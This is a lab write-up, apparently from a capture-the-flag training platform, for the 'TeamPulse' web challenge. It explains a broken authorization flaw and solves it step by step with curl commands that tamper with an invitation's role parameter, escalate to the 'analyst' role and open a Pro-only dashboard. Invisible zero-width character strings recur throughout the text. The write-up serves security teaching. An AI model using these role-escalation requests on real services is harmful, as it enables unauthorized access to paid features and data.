TeamPulse — Broken Authorization in Team Invitation Roles

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-19 | Status: Solved Techniques: client_side_restriction_bypass, decoy_flag_evasion, parameter_tampering, role_escalation_via_invitation, subscription_tier_bypass

Summary

Task: Free-tier workspace with client-side role restrictions on team invitations; Pro roles (analyst/manager) disabled in UI dropdown. Solution: bypass client-side restriction by sending POST to invitation API with premium role, register invited user, accept invitation, access Pro-only analytics dashboard containing the flag.

TeamPulse — Broken Authorization in Team Invitation Roles — HackAdvisor Lab 396

Description

TeamPulse is a collaborative workspace management platform built by Pulseway Inc. that helps teams organize projects, track progress, and manage team members. The platform offers different subscription tiers (Free and Pro) with varying feature sets, including role-based access control.

You have been given a Free-tier account to test the platform's security. The Free plan limits team invitations to the 'Member' role only, while the Pro plan unlocks premium roles like 'Analyst' and 'Manager' that grant access to advanced features such as the analytics dashboard.

Explore the application's features and pay close attention to how the platform handles team management and role assignments across different subscription levels. There may be a gap between what the UI enforces and what the backend actually validates.

Your goal is to find and exploit a vulnerability that allows you to bypass subscription-level restrictions and access premium features containing sensitive data. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: Given a Free-tier account on a team management platform. The UI disables premium roles (Analyst, Manager) in the invitation form for Free-tier workspaces. The goal is to bypass subscription restrictions and access Pro-only features containing the flag.

Analysis

Application Reconnaissance

• Stack: Express (Node.js) behind nginx/1.25.5
• Session: connect.sid cookie (express-session)
• Credentials: user@test.com / password123 (Free plan, Owner role, Workspace ID: 2) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Route enumeration revealed the attack surface:

Decoy Flag (Honeypot)

Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in hidden <div> elements and HTML comments. This is a honeypot designed to trap automated scanners and bots. It must be ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Client-Side Role Restriction

The /team page has an "Invite Member" modal with a role dropdown containing three options:

• member — enabled (Free tier)
• analyst — disabled with text "(Pro plan required)"
• manager — disabled with text "(Pro plan required)"

The restriction is purely client-side — the disabled HTML attribute on <option> elements. The JavaScript sendInvitation() function sends a POST /api/workspaces/2/invitations request with a JSON body { email, role } where both values come directly from form inputs. The role is fully client-controlled. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: Broken Access Control (OWASP A01:2021)

The invitation API endpoint POST /api/workspaces/2/invitations accepts a role parameter from the JSON request body without validating whether the workspace's subscription tier (Free vs Pro) permits that role. The backend blindly trusts the client-supplied role value.

Additionally, the /analytics route checks the user's role (analyst/manager/owner can access) but does not verify the workspace's subscription tier. So once a user has the "analyst" role, they can access Pro features regardless of the workspace being on the Free plan. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Login and obtain session cookie

 bash read-only • copy allowed Copy
BASE="https://0b68414e-5057-4ff3-8600-bccb4fa1f683.labs.hackadvisor.io"
curl -s -c cookies.txt -X POST "$BASE/login" \
  -d 'email=user@test.com&password=password123'

Step 2: Send invitation with premium "analyst" role (bypassing UI restriction)

 bash read-only • copy allowed Copy
curl -s -b cookies.txt -X POST "$BASE/api/workspaces/2/invitations" \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@test.com","role":"analyst"}'

Response confirms the backend accepted the premium role without tier validation: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 json read-only • copy allowed Copy
{
  "success": true,
  "invitation": {
    "email": "attacker@test.com",
    "role": "analyst",
    "token": "3770456f-7daa-4d20-833f-d7e449ef00a7",
    "link": "/invite/3770456f-7daa-4d20-833f-d7e449ef00a7",
    "status": "pending"
  }
}

Step 3: Register a new account for the invited email

 bash read-only • copy allowed Copy
curl -s -c cookies2.txt -X POST "$BASE/register" \
  -d "name=Attacker&email=attacker@test.com&password=password123"

Step 4: Accept the invitation as the new user

 bash read-only • copy allowed Copy
INVITE_TOKEN="3770456f-7daa-4d20-833f-d7e449ef00a7"
curl -s -b cookies2.txt -X POST "$BASE/invite/$INVITE_TOKEN/accept" \
  -H "Content-Type: application/json"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response: {"success":true,"redirect":"/"}

Step 5: Access the Pro-only Analytics dashboard

 bash read-only • copy allowed Copy
curl -s -b cookies2.txt "$BASE/analytics"

The analytics page now loads successfully (HTTP 200 instead of 403) because the user has the "analyst" role. The dashboard contains workspace metrics including a "system secret key" metric card that reveals the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍